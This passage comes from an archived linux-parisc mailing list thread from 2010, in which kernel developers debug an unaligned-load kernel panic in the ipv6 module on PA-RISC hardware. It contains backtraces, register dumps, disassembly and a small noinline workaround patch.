 [<000000001c57cd10>] tcp_v6_send_response+0x238/0x368 [ipv6]
 [<000000001c57cebc>] tcp_v6_send_reset+0x7c/0x218 [ipv6]
 [<000000001c57e4b8>] tcp_v6_rcv+0x3e8/0x980 [ipv6]
 [<000000001c54b0d0>] ip6_input_finish+0x188/0x438 [ipv6]
 [<000000001c54b40c>] ip6_input+0x8c/0x148 [ipv6]
 [<000000001c54bc78>] ipv6_rcv+0x3a8/0x480 [ipv6]
 [<0000000040342454>] __netif_receive_skb+0x3dc/0x4a0
 [<00000000403425c4>] process_backlog+0xac/0x188
 [<0000000040342a70>] net_rx_action+0x178/0x228
 [<000000004014d698>] __do_softirq+0x100/0x1f0
 [<0000000040115a1c>] do_softirq+0x6c/0x70
 [<000000004014db08>] local_bh_enable+0xc0/0xc8
 [<00000000403442c8>] dev_queue_xmit+0x138/0x458
 [<000000004034fc14>] neigh_resolve_output+0x154/0x310

Backtrace:
 [<0000000040118ba8>] show_stack+0x20/0x38
 [<00000000401120ac>] dump_stack+0x24/0x38
 [<00000000401193c4>] die_if_kernel+0x15c/0x270
 [<0000000040119d84>] handle_interruption+0x8ac/0x940
 [<00000000401219b8>] .L320+0x3c/0x70
 [<0000000040119780>] handle_interruption+0x2a8/0x940
 [<000000001c57b460>] __tcp_v6_send_check+0xf0/0x1e8 [ipv6]
 [<000000001c57cd10>] tcp_v6_send_response+0x238/0x368 [ipv6]
 [<000000001c57cebc>] tcp_v6_send_reset+0x7c/0x218 [ipv6]
 [<000000001c57e4b8>] tcp_v6_rcv+0x3e8/0x980 [ipv6]
 [<000000001c54b0d0>] ip6_input_finish+0x188/0x438 [ipv6]
 [<000000001c54b40c>] ip6_input+0x8c/0x148 [ipv6]
 [<000000001c54bc78>] ipv6_rcv+0x3a8/0x480 [ipv6]
 [<0000000040342454>] __netif_receive_skb+0x3dc/0x4a0
 [<00000000403425c4>] process_backlog+0xac/0x188
 [<0000000040342a70>] net_rx_action+0x178/0x228

Kernel panic - not syncing: Fatal exception in interrupt
Backtrace:
 [<0000000040118ba8>] show_stack+0x20/0x38
 [<00000000401120ac>] dump_stack+0x24/0x38
 [<000000004011219c>] panic+0xdc/0x380
 [<00000000401194ac>] die_if_kernel+0x244/0x270
 [<0000000040119d84>] handle_interruption+0x8ac/0x940
 [<00000000401219b8>] .L320+0x3c/0x70
 [<0000000040119780>] handle_interruption+0x2a8/0x940
 [<000000001c57b460>] __tcp_v6_send_check+0xf0/0x1e8 [ipv6]
 [<000000001c57cd10>] tcp_v6_send_response+0x238/0x368 [ipv6]
 [<000000001c57cebc>] tcp_v6_send_reset+0x7c/0x218 [ipv6]
 [<000000001c57e4b8>] tcp_v6_rcv+0x3e8/0x980 [ipv6]
 [<000000001c54b0d0>] ip6_input_finish+0x188/0x438 [ipv6]
 [<000000001c54b40c>] ip6_input+0x8c/0x148 [ipv6]
 [<000000001c54bc78>] ipv6_rcv+0x3a8/0x480 [ipv6]
 [<0000000040342454>] __netif_receive_skb+0x3dc/0x4a0
 [<00000000403425c4>] process_backlog+0xac/0x188


--AqsLC8rIMeq19msA--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 14 Nov 2010 21:14:12 -0500
Organization: nrc.ca
Lines: 17
Approved: news@gmane.org
Message-ID: <20101115021412.GA14945@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289787271 4531 80.91.229.12 (15 Nov 2010 02:14:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 15 Nov 2010 02:14:31 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 15 03:14:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PHoaK-00033G-6L
	for glpp-linux-parisc@lo.gmane.org; Mon, 15 Nov 2010 03:14:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932404Ab0KOCOS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Nov 2010 21:14:18 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2561 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932351Ab0KOCOS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Nov 2010 21:14:18 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DD38A4F31; Sun, 14 Nov 2010 21:14:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101114234212.GA20422@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3234>

On Sun, 14 Nov 2010, John David Anglin wrote:

> However, the system didn't fully boot.  There was another unaligned
> load in a ipv6 module.  I caught this because I still have the following
> BUG_ON in unaligned.c:

System boots 2.6.36+ without ipv6 module.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Mon, 15 Nov 2010 14:56:06 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20101115195606.GA8332@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
 <20101014153931.GI24144@bombadil.infradead.org>
 <4CE04DCF.7040306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289850974 15610 80.91.229.12 (15 Nov 2010 19:56:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 15 Nov 2010 19:56:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 15 20:56:10 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PI59t-0003Hf-KK
	for glpp-linux-parisc@lo.gmane.org; Mon, 15 Nov 2010 20:56:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756336Ab0KOT4I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Nov 2010 14:56:08 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42850 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758183Ab0KOT4I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Nov 2010 14:56:08 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PI59q-0008LU-Hm; Mon, 15 Nov 2010 19:56:06 +0000
Content-Disposition: inline
In-Reply-To: <4CE04DCF.7040306@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3236>

On Sun, Nov 14, 2010 at 09:59:59PM +0100, Helge Deller wrote:
> 
> I just got again a chance to boot up my b160L and 715/64 machines.
> 
> Both broke due to the IRQ changes. I did reverted all of your IRQ
> patches (based on current Linus head branch) and now they boot
> again.
> Basically they just hang during the SCSI initialization (timeouts
> while detectings discs).
> 
> So, there is something wrong for Lasi/GSC and Dino busses....
> 
> Any idea?
>

No, but I'll take a look, it's probably something simple and stupid that
I missed. :/

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 16 Nov 2010 17:51:21 -0500
Organization: nrc.ca
Lines: 51
Approved: news@gmane.org
Message-ID: <20101116225120.GA25133@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289947921 21914 80.91.229.12 (16 Nov 2010 22:52:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 16 Nov 2010 22:52:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 16 23:51:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIUNW-0007MT-PJ
	for glpp-linux-parisc@lo.gmane.org; Tue, 16 Nov 2010 23:51:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932709Ab0KPWvl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Nov 2010 17:51:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2693 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932559Ab0KPWvk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Nov 2010 17:51:40 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 99D844CFC; Tue, 16 Nov 2010 17:51:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101114234212.GA20422@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3238>

On Sun, 14 Nov 2010, John David Anglin wrote:

> I've pretty much narrowed down where the unaligned load is.  It coming from
> init_page_buffers.  I had to disable inlining of this function to simplify 
> the code.
> 
> 00000000401f9698 <init_page_buffers>:
>     401f9698:   08 03 02 41     copy r3,r1
>     401f969c:   08 1e 02 43     copy sp,r3
>     401f96a0:   73 c1 00 88     std,ma r1,40(sp)
>     401f96a4:   0f 40 10 dc     ldd 0(r26),ret0
>     401f96a8:   c6 9c c0 e8     bb,>= ret0,14,401f9724 <init_page_buffers+0x8c>
>     401f96ac:   db 5c 0b fd     extrd,u r26,63,3,ret0
>     401f96b0:   bf 80 20 e8     cmpb,*<> r0,ret0,401f972c <init_page_buffers+0x94>
>     401f96b4:   53 54 00 20     ldd 10(r26),r20
>     401f96b8:   0f 40 10 dc     ldd 0(r26),ret0
>     401f96bc:   db 9a 0b 9f     extrd,u ret0,60,1,r26
>     401f96c0:   0b 40 28 a0     cmpclr,*= r0,r26,r0
>     401f96c4:   08 14 02 53     copy r20,r19
> ->  401f96c8:   0e 60 10 dc     ldd 0(r19),ret0

This hpmc seems to be a gcc miscompilation:
ii  gcc-4.3-hppa64 4.3.5-4        The GNU C compiler (cross compiler for hppa6

The hpmc is avoided by not inlining init_page_buffers().

Trying 4.4.5.  I believe 4.3.5-4 was from the initial lenny install.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/fs/buffer.c b/fs/buffer.c
index 3e7dca2..654128e 100644
--- a/fs/buffer.c
+++ b/fs/buffer.c
@@ -963,7 +963,7 @@ link_dev_buffers(struct page *page, struct buffer_head *head)
 /*
  * Initialise the state of a blockdev page's buffers.
  */ 
-static void
+static __attribute__((__noinline__)) void
 init_page_buffers(struct page *page, struct block_device *bdev,
 			sector_t block, int size)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 16 Nov 2010 21:21:41 -0500
Organization: nrc.ca
Lines: 54
Approved: news@gmane.org
Message-ID: <20101117022140.GA2110@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289960511 12750 80.91.229.12 (17 Nov 2010 02:21:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 02:21:51 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 03:21:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIXec-0006DC-HM
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 03:21:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754583Ab0KQCVp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Nov 2010 21:21:45 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2708 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754245Ab0KQCVp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Nov 2010 21:21:45 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 614D74E33; Tue, 16 Nov 2010 21:21:41 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101114234212.GA20422@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3239>

On Sun, 14 Nov 2010, John David Anglin wrote:

> kernel BUG at arch/parisc/kernel/unaligned.c:215!
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001000000000000001111 Not tainted
> r00-03  000000000804000f 000000007ef35920 0000000040119780 000000007ef35c70
> r04-07  000000001c533000 000000007ef355e0 000000007ef355e0 000000007ef35434
> r08-11  000000007ef3542c 000000007d216cf8 000000007cfe13a8 00000000000000e8
> r12-15  000000007cfe12c0 0000000000000000 0000000000000001 00000000b41aa62a
> r16-19  000000007ef355e0 000000004059faa0 000000007f88e048 000000000c000000
> r20-23  0000000024000000 000000007ef3542c 0000000000000000 0000000000000006
> r24-27  000000007ef3541c 0000000000000001 000000000f3010f3 00000000405e9db0
> r28-31  0000000000000000 000000007ef35c40 000000007ef35e90 000000000c0010c0
> sr00-03  000000000000d800 000000000000d800 0000000000000000 000000000000d800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401219b8 00000000401219bc
>  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
>  CPU:        0   CR30: 000000007ef34000 CR31: 886904b488140042
>  ORIG_R28: 0000000000000000
>  IAOQ[0]: .L320+0x3c/0x70
>  IAOQ[1]: .L320+0x40/0x70
>  RP(r2): handle_interruption+0x2a8/0x940
> Backtrace:
>  [<0000000040119780>] handle_interruption+0x2a8/0x940
>  [<000000001c57b460>] __tcp_v6_send_check+0xf0/0x1e8 [ipv6]
>  [<000000001c57cd10>] tcp_v6_send_response+0x238/0x368 [ipv6]
>  [<000000001c57cebc>] tcp_v6_send_reset+0x7c/0x218 [ipv6]
>  [<000000001c57e4b8>] tcp_v6_rcv+0x3e8/0x980 [ipv6]
>  [<000000001c54b0d0>] ip6_input_finish+0x188/0x438 [ipv6]
>  [<000000001c54b40c>] ip6_input+0x8c/0x148 [ipv6]
>  [<000000001c54bc78>] ipv6_rcv+0x3a8/0x480 [ipv6]
>  [<0000000040342454>] __netif_receive_skb+0x3dc/0x4a0
>  [<00000000403425c4>] process_backlog+0xac/0x188
>  [<0000000040342a70>] net_rx_action+0x178/0x228
>  [<000000004014d698>] __do_softirq+0x100/0x1f0
>  [<0000000040115a1c>] do_softirq+0x6c/0x70
>  [<000000004014db08>] local_bh_enable+0xc0/0xc8
>  [<00000000403442c8>] dev_queue_xmit+0x138/0x458
>  [<000000004034fc14>] neigh_resolve_output+0x154/0x310

This ldd alignment error is not fixed using 4.4.5, so it is likely a
kernel bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 16 Nov 2010 22:22:18 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20101117052218.GB27930@lackof.org>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca> <20101117022140.GA2110@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289971354 14335 80.91.229.12 (17 Nov 2010 05:22:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 05:22:34 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 06:22:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIaTM-0000OC-DO
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 06:22:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752135Ab0KQFWT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 00:22:19 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:59425 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751718Ab0KQFWT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 00:22:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 79E2833E015D;
	Tue, 16 Nov 2010 22:22:18 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rgusVIXqix2U; Tue, 16 Nov 2010 22:22:18 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 357311E1E001; Tue, 16 Nov 2010 22:22:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20101117022140.GA2110@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3240>

On Tue, Nov 16, 2010 at 09:21:41PM -0500, John David Anglin wrote:
> > kernel BUG at arch/parisc/kernel/unaligned.c:215!
...
> This ldd alignment error is not fixed using 4.4.5, so it is likely a
> kernel bug.

I agree. The kernel is expected to emulate/handle unaligned loads/stores.

I thought we had all that misaligned access handlers working years ago and
somewhere probably have a user space program to test it. Oh...ldd won't be
user space since we don't have a PA2.0 64-bit user space. LDD support
can't be as well tested.

On that note, can you try a 32-bit kernel? (SMP maybe)

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Wed, 17 Nov 2010 00:26:42 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20101117052642.GF22651@bombadil.infradead.org>
References: <20101104153507.GA7198@lackof.org>
 <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca>
 <20101110033527.GA24762@hiauly1.hia.nrc.ca>
 <20101114234212.GA20422@hiauly1.hia.nrc.ca>
 <20101117022140.GA2110@hiauly1.hia.nrc.ca>
 <20101117052218.GB27930@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289971614 15214 80.91.229.12 (17 Nov 2010 05:26:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 05:26:54 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 17 06:26:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PIaXh-0002VW-2x
	for glpp-linux-parisc@lo.gmane.org; Wed, 17 Nov 2010 06:26:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752975Ab0KQF0q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Nov 2010 00:26:46 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47339 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752897Ab0KQF0p (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Nov 2010 00:26:45 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PIaXa-0005NL-H4; Wed, 17 Nov 2010 05:26:42 +0000
Content-Disposition: inline
In-Reply-To: <20101117052218.GB27930@lackof.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3241>

On Tue, Nov 16, 2010 at 10:22:18PM -0700, Grant Grundler wrote:
> I agree. The kernel is expected to emulate/handle unaligned loads/stores.
> 
> I thought we had all that misaligned access handlers working years ago and
> somewhere probably have a user space program to test it. Oh...ldd won't be
> user space since we don't have a PA2.0 64-bit user space. LDD support
> can't be as well tested.
> 
> On that note, can you try a 32-bit kernel? (SMP maybe)
> 

We really shouldn't be fixing up unaligned access in the kernel, since
we can just fix the code... If ipv6 is causing them, there must be some
missing define that's getting defaulted to something un-padded,
otherwise sparc wouldn't work at all (it definitely does /not/ fix
unalignd accesses, period.)

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Tue, 16 Nov 2010 22:42:10 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20101117054210.GD27930@lackof.org>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca> <20101114234212.GA20422@hiauly1.hia.nrc.ca> <20101117022140.GA2110@hiauly1.hia.nrc.ca> <20101117052218.GB27930@lackof.org> <20101117052642.GF22651@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1289972540 18165 80.91.229.12 (17 Nov 2010 05:42:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 17 Nov 2010 05:42:20 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
